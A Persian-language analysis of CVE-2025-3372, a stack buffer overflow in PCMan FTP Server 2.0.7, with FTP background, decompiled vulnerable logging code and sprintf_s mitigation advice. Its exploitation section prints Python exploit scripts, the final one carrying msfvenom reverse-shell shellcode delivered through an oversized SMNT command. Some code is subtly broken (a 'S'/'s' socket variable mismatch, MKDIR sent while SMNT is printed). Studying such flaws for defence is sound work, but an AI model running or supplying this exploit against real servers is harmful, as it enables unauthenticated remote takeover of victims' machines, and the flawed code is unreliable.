CVE-2025-3372 – تحلیل آسیبپذیری سرریز بافر در نرمافزار PCMan
در این سند به تحلیل آسیبپذیری CVE-2025-3372 که منجر به Buffer Overflow در نرمافزار PCMan میشود، پرداخته شده است
نویسنده: مهدی داودآبادی فراهانی
تاریخ انتشار: 23 اردیبهشت 1404
فهرست
اطلاعات اجمالی آسیبپذیری
| شماره آسیب پذیری | CVE-2025-3372 |
| امتیاز (CVSS) | 7.3 |
| مولفه درگیر | Command Handler / Log writer |
| نوع آسیب پذیری | Stack Buffer Overflow |
| قابلیت در صورت اکسپلویت | اجرای شلکد، و گرفتن دسترسی به کاربر سطح بالا در سیستم میزبان |
تحلیلات از پیش ارائه شده
| نام تحلیلگر | تاریخ انتشار | لینک |
|---|---|---|
| Fernando Mengali | 6-Apr-25 | https://fitoxs.com/exploit/01-exploit.txt |
| Fernando Mengali | 7-Apr-25 | https://www.cve.org/CVERecord?id=CVE-2025-3372 |
مقدمه
در این سند، یکی از آسیبپذیریهای مهم در نرمافزار PCMan FTP Server نسخهی 2.0.7 مورد تحلیل قرار گرفته است. این آسیبپذیری از نوع سرریز بافر (Buffer Overflow) و خرابی حافظه (Memory Corruption) است که به مهاجم اجازه میدهد از راه دور و بدون احراز هویت، دادهای با اندازه بیش از حد مجاز به برنامه ارسال کند. در نتیجه، محتوای ارسالی در حافظه روی استک نوشته شده و با عبور از محدودهی بافر، مقادیر حساس از جمله ثبات EIP را بازنویسی میکند.
با کنترل مقدار EIP، مهاجم میتواند مسیر اجرای برنامه را منحرف کرده و اجرای کد دلخواه خود را روی سیستم قربانی ممکن سازد. این نوع آسیبپذیری در دستهی افزایش دسترسی محلی (Local Privilege Escalation) یا در سناریوهای خاص، اجرای کد از راه دور (Remote Code Execution) قرار میگیرد.
در ادامه، ضمن تحلیل دقیق نحوهی عملکرد تابع آسیبپذیر و بررسی محل قرارگیری آن در معماری نرمافزار، چگونگی بهرهبرداری از این آسیبپذیری برای دستیابی به کنترل کامل سیستم توضیح داده شده است.
FTP Server چیست؟
File Transfer Protocol Server سرور که به اختصار به آن FTP Server میگویند، یک نرمافزار سروری تخصصی است که امکان انتقال امن و مدیریت فایلها را در بستر شبکههای مبتنی بر پروتکل TCP/IP فراهم میآورد. این نرمافزار از پروتکل FTP استفاده میکند، پروتکلی استاندارد که در لایه شبکه فعالیت میکند و بستری ایمن برای تبادل داده بین سرور و کلاینت در معماری کلاینت-سرور ایجاد کرده و انتقال بهینه اطلاعات در شبکههای گسترده مانند اینترنت را فراهم میسازد.
کاربرد سرورهای FTP
سرورهای FTP به عنوان راهی برای انتقال فایل در سطح اینترنت استفاده میشوند. این سرورها عمدتاً دو عملکرد اساسی ارسال و دریافت را ارائه میدهند که به کاربران امکان آپلود فایل از دستگاه کلاینت به سرور و دانلود فایلها از سرور به دستگاه کلاینت را میدهد. مهمترین کاربردهای سرور FTP عبارتند از:
- انتقال فایلهای حجیم:
- شرکتها معمولاً در اشتراکگذاری فایلهای حجیم از طریق ایمیل با مشکل مواجه میشوند. سرور FTP این امکان را فراهم میکند که سازمانها بتوانند فایلهای حجیم را بدون دردسر انتقال دهند.
- افزایش امنیت:
- مهمترین دلیل استفاده از سرورهای FTP، تأمین امنیت بالا در انتقال دادههای حساس است. این سرورها از پروتکلهای امن مانند SFTP و FTPS پشتیبانی میکنند که لایههای امنیتی اضافی و رمزنگاری end-to-end را ارائه میدهند.
- بهینهسازی گردش کار:
- سرورهای FTP به سازمانها کمک میکنند تا فرآیند اشتراکگذاری فایلها را سادهتر کنند. با استفاده از این سرورها، کاربران میتوانند حجم زیادی از دادهها را به جای فایلهای تکی انتقال دهند. ذخیرهسازی متمرکز فایلها نیز زمان جستجو را کاهش میدهد.
- کنترل دقیق دسترسیها:
- سرورهای FTP امکان مدیریت هوشمند دسترسیها را فراهم میکنند. مدیران سیستم میتوانند سطوح دسترسی مختلفی برای کاربران تعریف کنند تا مشخص شود چه کسانی میتوانند فایلها را ویرایش، آپلود، دانلود یا به اشتراک بگذارند.
- بازیابی اطلاعات پس از حوادث:
- یک سرور FTP کارآمد تضمین میکند که دادههای سازمانی در صورت بروز حوادث از بین نروند و پشتیبانگیری خودکار و مداوم، امکان ذخیرهسازی دادهها در مکانهای مختلف و بازیابی سریع آنها را فراهم میکند.
انواع FTP
پروتکل FTP Secure (FTPS)
مزایای کلیدی
پروتکل SSH FTP (SFTP)
مزایای کلیدی
مقایسه حالتهای فعال و غیرفعال در FTP
به طور استاندارد، هر ارتباط FTP شامل دو کانال مجزا است؛ یک کانال فرمان (کنترل) و دیگری کانال داده. کانال کنترل مخصوص تبادل دستورات است در حالی که کانال داده مسئول انتقال فایلها و اطلاعات میباشد. مدیران شبکه میتوانند سرور FTP را در یکی از دو حالت فعال یا غیرفعال پیکربندی کنند که در ادامه به توضیح آنها خواهیم پرداخت.
حالت فعال (Active Mode)
این حالت که در نسخههای اولیه FTP به عنوان تنظیمات پیشفرض شناخته میشد، هنوز هم در بسیاری از سرورها قابل استفاده است. در این روش، اگرچه اتصال کنترل توسط کلاینت برقرار میشود، اما تمامی اتصالات داده از سمت سرور به کلاینت آغاز میگردد. حالت فعال عموماً در شبکههای بدون فایروال یا در فایروالهای هوشمندی که قادر به تشخیص پروتکل FTP و باز کردن خودکار پورتهای مورد نیاز بین سرور و کلاینت هستند، کارایی دارد. این حالت به عنوان “فعال” شناخته میشود زیرا که کلاینت به صورت دینامیک یک پورت را باز کرده و در حالت انتظار قرار میگیرد، در حالی که سرور به صورت فعالانه به این پورت متصل میشود. استفاده از این حالت تنها در مواردی توصیه میشود که با سیستمهای قدیمی سروکار داریم.
حالت غیرفعال (Passive Mode)
در این روش، هر دو اتصال کنترل و داده از سمت کلاینت به سرور آغاز میشوند. این حالت با عنوان “حالت سازگار با فایروال (Firewall-Friendly)” نیز شناخته میشود زیرا در محیطهای دارای فایروال به راحتی قابل پیادهسازی است. دلیل نامگذاری آن به “غیرفعال” این است که سرور پس از باز کردن پورت مورد نظر، به صورت غیرفعال منتظر اتصال از سمت کلاینت میماند. حالت غیرفعال گزینه ایدهآلی برای انتقال فایل محسوب میشود چرا که:
- امنیت بیشتری دارد
- هیچگونه اتصال ورودی از اینترنت به سمت کلاینتهای داخلی مجاز نیست
برخلاف حالت فعال که نیازمند پیکربندی فایروالهای متعدد است، در این حالت تنها نیاز به تنظیم فایروال سرور وجود دارد.
پروتکل FTP ناشناس (Anonymous FTP) چیست؟
پروتکل FTP ناشناس روشی است که به کاربران اجازه میدهد بدون نیاز به احراز هویت در سرور به فایلهای عمومی موجود در آن سرور راه دور دسترسی پیدا کنند. کاربران میتوانند از برنامههای FTP یا رابط خط فرمان FTP استفاده کرده و “anonymous” را به عنوان نام کاربری خود وارد کنند. گذرواژه برای وارد شدن با این نام کاربری مهم نیست.
FTP ناشناس به کاربران این اجازه را میدهد تا بتوانند از یک سرور FTP استفاده کنند، حتی اگر نام کاربری و گذرواژه مخصوص به خود نداشته باشند. این روش، دسترسی بدون محافظت به اطلاعات خاصی از یک سیستم راه دور را بدون نیاز به وارد کردن گذرواژه امکانپذیر میسازد. این اطلاعات معمولاً به صورت عمومی در دسترس هستند، به این معنی که هر کسی که وارد سرور میشود میتواند آنها را ببیند و بخواند. با این حال، این سرور است که تعیین میکند چه اطلاعاتی و به چه میزان برای دسترسی عمومی مناسب است. شخص یا سازمانی که مالک اطلاعات و سرور است، موظف است اطلاعات خود را کنترل کرده و اطمینان حاصل کند که تنها اطلاعات مناسب برای دسترسی عموم در دسترس قرار میگیرند.
برای دسترسی به اطلاعات، کاربران میتوانند با نام کاربری “anonymous” و با هر گذرواژهای وارد سرور میزبان FTP شوند. حساب کاربری معمولاً هر رشتهای، از جمله آدرس ایمیل کاربر را به عنوان گذرواژه میپذیرد. پس از ورود، کاربر حق دسترسی محدودی به فایلهای موجود در سرور خواهد داشت. سرور همچنین محدودیتهای عملیاتی را اعمال میکند تا فقط عملیات خاصی در FTP ناشناس مجاز باشد. محدودیتهای عملیاتی مجاز شامل موارد زیر است:
- ورود به سرور FTP
- فهرست کردن محتویات یا فایلهای موجود در تعداد محدودی از دایرکتوریها
- بازیابی فایلها و محتوای موجود در این دایرکتوریها
آسیب پذیری Buffer Overflow
سرریز بافر آسیبپذیری است که به خرابی حافظه (Memory Corruption) منجر میشوند و میتوان آنها را بر اساس نوع، که معمولاً به آن “نسل (Generation)” گفته میشود، دستهبندی کرد. امروزه دو نوع بسیار مهم آن سرریز بافر استک (Stack Overflow) و سرریز بافر هیپ (Heap Overflow) هستند. سرریز بافر زمانی رخ میدهد که دادههای بیشتری از ظرفیت یک بافر یا آرایه در آن کپی شود.
همانطور که از نام آن پیداست، سرریز بافر استک در ناحیه استک حافظه یک پروسه رخ میدهد. استکفریم یک ناحیه حافظه اختصاصیافته است که دادهها مرتبط با فراخوانیهای پروسه را ذخیره میکند. هنگامی که دادههای بیشتری از آنچه یک بافر استک میتواند در خود جای دهد در آن قرار میگیرد، ممکن است حافظه استک مجاور را بازنویسی کند. اگر یک کاربر بتواند دادهها و مقدار ورودی را کنترل کند، این امکان وجود دارد که دادهها استک را دستکاری کند، که در نهایت میتواند منجر به کنترل جریان اجرای پروسه شود.
اطلاعات بیشتر درباره استک
اطلاعات مربوط به هر تابعی که در یک فرآیند اجرا میشود، روی استک نمایش داده میشود. این سازماندهی اطلاعات به عنوان یک Stack Frame شناخته میشود. یک Stack Frame شامل دادههای تابع و همچنین یک آدرس بازگشت است که برای تعیین محل فراخوانکننده (Caller) استفاده میشود. هنگامی که یک تابع به فراخوانکننده خود بازمیگردد، آدرس بازگشت از استک برداشته شده و به ثبات Instruction Pointer منتقل میشود.
اگر بتوانید بافر استک را سرریز کرده و آدرس بازگشت را با یک مقدار دلخواه بازنویسی کنید، میتوانید Instruction Pointer را پس از بازگشت تابع کنترل کنید. علاوه بر این، روشهای دیگری نیز برای بهرهبرداری از سرریز بافر استک وجود دارد، مانند دستکاری اشارهگرهای تابع، آرگومانهای تابع، یا سایر دادهها مهم ذخیره شده روی استک.
[1] Caller
معرفی برنامه PCMan FTP Server
سرور PCMan FTP یک نرمافزار رایگان است که عمدتاً برای مبتدیانی طراحی شده که با کامپیوتر آشنایی ندارند و هدف آن، راهاندازی آسان یک سرور FTP ساده است. عملکرد و امنیت دغدغه اصلی این نرمافزار نیستند، بلکه سادگی مهمترین ویژگی آن محسوب میشود.
نسخه انگلیسی این برنامه که آخرین بهروزرسانی آن مربوط به 2014 میباشد. شرکت توسعهدهنده این نرمافزار، pcmanftpd.sf.net است و سایت آن دیگر در دسترس نیست. آخرین نسخه منتشرشده توسط توسعهدهنده، نسخه 2.0.7 میباشد.
محل وقوع آسیبپذیری CVE-2025-3372
struct CWinThread *_ thiscall sub_403E60(_DWORD *this, const char *a2) {
struct CWinThread *result; // eax
int v4; // eax
const char *v5; // eax
DWORD v6; // eax
struct CWinThread *Thread; // eax
struct CWinThread *v8; // eax
struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-814h] BYREF
DWORD NumberOfBytesWritten; // [esp+18h] [ebp-804h] BYREF
char Buffer[2048]; // [esp+1Ch] [ebp-800h] BYREF
if (dword_443540 | | (result = (struct CWinThread *)dword_443548) != 0) {
GetLocalTime(&SystemTime);
v4 = this[9];
if (v4)
v5 = *(const char **)(v4 + 8);
else
v5 = (const char *)this[1];
v6 = sprintf(Buffer, "%d/%d/%d [%02d: %02d] (05d) %s> %s\r\n",
SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
SystemTime.wHour, SystemTime.wMinute, this[3], v5, a2);
if (hFile != (HANDLE)-1)
WriteFile(hFile, Buffer, v6, &NumberOfBytesWritten, 0);
result = (struct CWinThread *)dword_443548;
if (dword_443548) {
result = AfxGetThread();
if (result) {
result = (struct CWinThread *)(*(int(_thiscall **)(
struct CWinThread *))(*(_DWORD *)result + 116))(result);
if (result) {
if (isdigit(*a2)) {
Thread = AfxGetThread();
if (Thread)
(*(void(_thiscall **)(struct CWinThread *))(*(_DWORD *)Thread +
116))(Thread);
return (struct CWinThread *)sub_409CF0(0x8000, (LPARAM)Buffer);
} else {
v8 = AfxGetThread();
if (v8)
(*(void(_thiscall **)(struct CWinThread *))(*(_DWORD *)v8 + 116))(
v8);
return (struct CWinThread *)sub_409CF0(0x800000, (LPARAM)Buffer);
}
}
}
}
}
return result;
}
تصویر 2: کد تابع آسیبپذیر (مهندسی معکوس شده توسط IDA)
از آنجایی که به کدمنبع برنامه دسترسی نداشتیم برای به دست آوردن کد این تابع از دیکامپایلر استفاده شده است و ممکن است با نسخه اصلی کمی متفاوت باشد. همانطور که گفته شد این تابع مسئول ثبت فعالیت کاربران است. در این تابع در مرحله اول با استفاده از تابع GetLocalTime زمان و تاریخ سیستم دریافت شده و پیغامی شامل موارد زیر ساخته میشود:
- تاریخ و زمان
- شناسه پروسه یا thread
- نام کاربری
- ورودی کاربر (دستور کاربر)
در ادامه پیغام ساخته شده درون متغیر Buffer قرار میگیرد تا با استفاده از تابع WriteFile درون فایل مورد نظر نوشته شود. اما دلیل وقوع اسیبپذیری در این تابع چیست؟ این آسیبپذیری به دلیل استفاده از تابع sprintf ایجاد شده است.
بررسی ساختار تابع sprintf
int sprintf(char *buffer, const char *format - string, argument - list)
تصویر 4: سینتکس تابع sprintf
این تابع بهگونهای طراحی شده است که در آرگومان اول، یک بافر از نوع رشتهی کاراکتری دریافت میکند که خروجی نهایی در آن ذخیره میشود؛ آرگومان دوم، رشتهی قالب (format string) است که نحوهی نمایش دادهها را مشخص میکند؛ و در ادامه، آرگومانهای متغیری را میپذیرد که مقادیر آنها بر اساس قالب، در رشتهی نهایی قرار میگیرند.
تابع sprintf معمولاً برای قالببندی رشتههایی استفاده میشود که شامل ترکیب متن با اعداد، متغیرها و سایر آرگومانها هستند، مانند:
#include <studio.h>
char buffer[200];
int x = 0;
int main() {
x = 9;
sprintf(buffer, "%d \n", x);
}
تصویر 5: نمونه برنامهای که از تابع sprintf استفاده کرده است
کاربردهای تابع sprint
از sprintf() معمولاً برای کارهای زیر استفاده میشود:
- ترکیب رشتهها: کنار هم قرار دادن چند رشته در یک رشته واحد.
- قالببندی خروجی به صورت شخصیسازی شده: تعیین شکل نمایش دادهها (مثل تعداد رقم اعشار).
- جایگزینی متغیرها: قرار دادن مقدار متغیرها در داخل یک رشته.
- ساخت رشتهها: ایجاد رشتههای پیچیده به صورت پویا.
این تابع روشی ساده و انعطافپذیر برای ساخت رشتهها و کنترل شکل خروجی فراهم میکند. با این حال، استفاده نادرست از آن میتواند منجر به سرریز بافر شود که یک خطر امنیتی جدی محسوب میشود.
دلیل آسیبپذیر بودن تابع sprintf چیست؟
v6 = sprintf(Buffer, // size of the buffer is 2048
"%d/%d/%d [%02d: 02d] (05d) %s> %s\r\n", SystemTime.wYear,
SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour,
SystemTime.wMinute, this[3], v5,
a2); // <-- attacker-controlled
تصویر 6: محل وقوع آسیبپذیری
در این برنامه، آسیبپذیری از آنجا ناشی میشود که در انتهای رشتهی قالب از %s استفاده شده و تابع sprintf نیز تلاش میکند این ساختار را در بافر مقصد پیادهسازی کند؛ اما از آنجا که این تابع بدون درنظر گرفتن اندازهی بافر مقصد عمل جایگذاری را انجام میدهد، امکان بروز سرریز بافر و در نتیجه آسیبپذیری فراهم میشود.
راهکار های جلوگیری از این رخداد چیست؟
برای اینکه از این دسته آسیبپذیریها جلوگیری کنید، میتوانید از توابع امن شده مانند snprintf و sprintf_s و دیگر توابع مشخص شده توسط مایکروسافت استفاده کنید. این توابع به برنامهنویس این قابلیت را میدهند تا با مشخص کردن حداکثر اندازه کاراکترهای قابل دریافت، از آسیبپذیریِ سریز بافر این تابع، جلوگیری کنند.
سینتکس تابع sprintf_s به شرح زیر است:
int sprintf_s(char *buffer, size_t sizeOfBuffer, const char *format, ...);
تصویر 7: سینتکس تابع sprintf_s
#include <stdio.h>
int main(void) {
char buffer[200], s[] = "computer", c = 'l';
int i = 35, j;
float fp = 1.7320534f;
// Format and print various data:
j = sprintf_s(buffer, 200, "String:%s\n", s);
j += sprintf_s(buffer + j, 200 - j, "Character: %c\n", c);
j += sprintf_s(buffer + j, 200 - j, "Integer:%d\n", i);
j += sprintf_s(buffer + j, 200 - j, "Real:%f\n", fp);
printf_s("Output:\n%s\ncharacter count =%d\n", buffer, j);
}
تصویر 8: نمونه استفادهای از تابع sprintf_s در عمل
نحوه اکسپلویت آسیبپذیری CVE-2025-3372
import socket
import time
target_ip = "192.168.1.132"
target_port = 21
# Exploit parameters
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"
nops = b"\x90" * 20
payload = offset + eip + nops + b'\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc'
try:
print("[+] Connecting to {}:{} ... ".format(target_ip, target_port))
S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
banner = s.recv(1024)
print("[+] Banner: {}".format(banner.decode(errors='ignore').strip()))
s.send(b"USER anonymous\r\n")
time.sleep(1)
s.recv(1024)
s.send(b"PASS anonymous\r\n")
time.sleep(1)
s.recv(1024)
print("[+] Sending malicious payload via SMNT command ... ")
s.send(b"MKDIR " + payload + b"\r\n")
time.sleep(1)
print("[+] Exploit sent! Check your listener.")
s.close()
except Exception as e:
print("[-] Exploit failed: {}".format(str(e)))
تصویر 9: فعال کردن نقطه آسیبپذیر با استفاده از python
در این اکسپلویت ابتدا IP سیستم هدف که سرور PCMan FTP روی آن اجرا شده است و پورت مورد استفاده برای سرور FTP را مشخص میکنیم. برای ایجاد سرریز بافر در هنگام اجرای برنامه و با توجه به تصویر 6، برای آن که از اندازه بافر که مقدار آن 2048 است عبور کنیم. اگر نام متغییری که به a2 (دستور کاربر) منتقل میشود را payload بگذاریم، با احتساب مقادیر موجود در آن (تاریخ، ساعت، شناسه پروسه و کارکترهای جداکننده آنها مانند فاصله، پرانتر، کروشه و فلش) نیاز است که payload ما ساختاری شبیه زیر داشته باشد:
بررسی اکسپلویت
پس از اجرای اکسپلویت برنامه از روند اجرایی استاندارد خارج شده زیرا همانطور که در تصویر 15 میتوانید مشاهده کنید Last Error برابر با مقدار ERROR_INVALID_HANDLE است زیرا مقداری به برنامه به عنوان ورودی داده شده است که در حالت عادی قرار نبوده آن را دریافت کند. در تصویر 16 و 17 نیز به ترتیب نمای استک و حافظه را مشاهده میکنید که حاوی Payload ما است.
از آنجایی که در اکسپلویت از دستور اسمبلی INT3 استفاده کرده بودیم پس از تغییر جریان اجرای برنامه، برنامه روی این دستورات توقف پیدا میکند، حال به منظور دسترسی گرفتن به سیستم تارگت میتوانید در پیلود خود به جای استفاده از INT3 از شل کد استفاده کنیم. برای نمونه در زیر میتوانید شل کد ساخته شده با استفاده از msfvenom را مشاهده کنید.
import socket
import time
target_ip = "192.168.1.132"
target_port = 21
# Reverse shell payload generated with msfvenom
buf = b""
buf += b"\xba\x95\x9a\xbb\x3f\xdd\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x31\xc9\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x55"
buf += b"\x9e\x59\xca\xa9\x77\x1f\x35\x51\x88\x40\xbf\xb4"
buf += b"\xb9\x40\xdb\xbd\xea\x70\xaf\x93\x06\xfa\xfd\x07"
buf += b"\x9c\x8e\x29\x28\x15\x24\x0c\x07\xa6\x15\x6c\x06"
buf += b"\x24\x64\xa1\xe8\x15\xa7\xb4\xe9\x52\xda\x35\xbb"
buf += b"\x0b\x90\xe8\x2b\x3f\xec\x30\xc0\x73\xe0\x30\x35"
buf += b"\xc3\x03\x10\xe8\x5f\x5a\xb2\x0b\xb3\xd6\xfb\x13"
buf += b"\xd0\xd3\xb2\xa8\x22\xaf\x44\x78\x7b\x50\xea\x45"
buf += b"\xb3\xa3\xf2\x82\x74\x5c\x81\xfa\x86\xe1\x92\x39"
buf += b"\xf4\x3d\x16\xd9\x5e\xb5\x80\x05\x5e\x1a\x56\xce"
buf += b"\x6c\xd7\x1c\x88\x70\xe6\xf1\xa3\x8d\x63\xf4\x63"
buf += b"\x04\x37\xd3\xa7\x4c\xe3\x7a\xfe\x28\x42\x82\xe0"
buf += b"\x92\x3b\x26\x6b\x3e\x2f\x5b\x36\x57\x9c\x56\xc8"
buf += b"\xa7\x8a\xe1\xbb\x95\x15\x5a\x53\x96\xde\x44\xa4"
buf += b"\xd9\xf4\x31\x3a\x24\xf7\x41\x13\xe3\xa3\x11\x0b"
buf += b"\xc2\xcb\xf9\xcb\xeb\x19\xad\x9b\x43\xf2\x0e\x4b"
buf += b"\x24\xa2\xe6\x81\xab\x9d\x17\xaa\x61\xb6\xb2\x51"
buf += b"\xe2\x79\xea\x58\x76\x11\xe9\x5a\x67\xbe\x64\xbc"
buf += b"\xed\x2e\x21\x17\x9a\xd7\x68\xe3\x3b\x17\xa7\x8e"
buf += b"\x7c\x93\x44\x6f\x32\x54\x20\x63\xa3\x94\x7f\xd9"
buf += b"\x62\xaa\x55\x75\xe8\x39\x32\x85\x67\x22\xed\xd2"
buf += b"\x20\x94\xe4\xb6\xdc\x8f\x5e\xa4\x1c\x49\x98\x6c"
buf += b"\xfb\xaa\x27\x6d\x8e\x97\x03\x7d\x56\x17\x08\x29"
buf += b"\x06\x4e\xc6\x87\xe0\x38\xa8\x71\xbb\x97\x62\x15"
buf += b"\x3a\xd4\xb4\x63\x43\x31\x43\x8b\xf2\xec\x12\xb4"
buf += b"\x3b\x79\x93\xcd\x21\x19\x5c\x04\xe2\x39\xbf\x8c"
buf += b"\x1f\xd2\x66\x45\xa2\xbf\x98\xb0\xe1\xb9\x1a\x30"
buf += b"\x9a\x3d\x02\x31\x9f\x7a\x84\xaa\xed\x13\x61\xcc"
buf += b"\x42\x13\xa0"
# Exploit parameters
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"
nops = b"\x90" * 20
payload = offset + eip + nops + buf
try:
print("[+] Connecting to {}:{} ... ".format(target_ip, target_port))
S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
banner = s.recv(1024)
print("[+] Banner: {}".format(banner.decode(errors='ignore').strip()))
s.send(b"USER anonymous\r\n")
time.sleep(1)
s.recv(1024)
s.send(b"PASS anonymous\r\n")
time.sleep(1)
s.recv(1024)
print("[+] Sending malicious payload via SMNT command ... ")
s.send(b"SMNT " + payload + b"\r\n")
time.sleep(1)
print("[+] Exploit sent! Check your listener.")
s.close()
except Exception as e:
print("[-] Exploit failed: {}".format(str(e)))
تصویر 18: اکسپلویت نهایی
منابع
- https://www.cve.org/CVERecord?id=CVE-2025-3372
- https://vuldb.com/?id.303618
- https://fitoxs.com/exploit/01-exploit.txt
- https://vuldb.com/?submit.552273
- https://pcman-s-ftp-server.soft112.com
- https://www.fortinet.com/resources/cyberglossary/file-transfer-protocol-ftp-meaning
- https://www.techtarget.com/whatis/definition/anonymous-FTP-File-Transfer-Protocol
- https://owasp.org/www-community/attacks/Buffer_overflow_attack
- https://www.geeksforgeeks.org/sprintf-in-c
- https://wiki.owasp.org/index.php/Buffer_Overruns_and_Overflows
- https://stackoverflow.com/questions/3662899/understanding-the-dangers-of-sprintf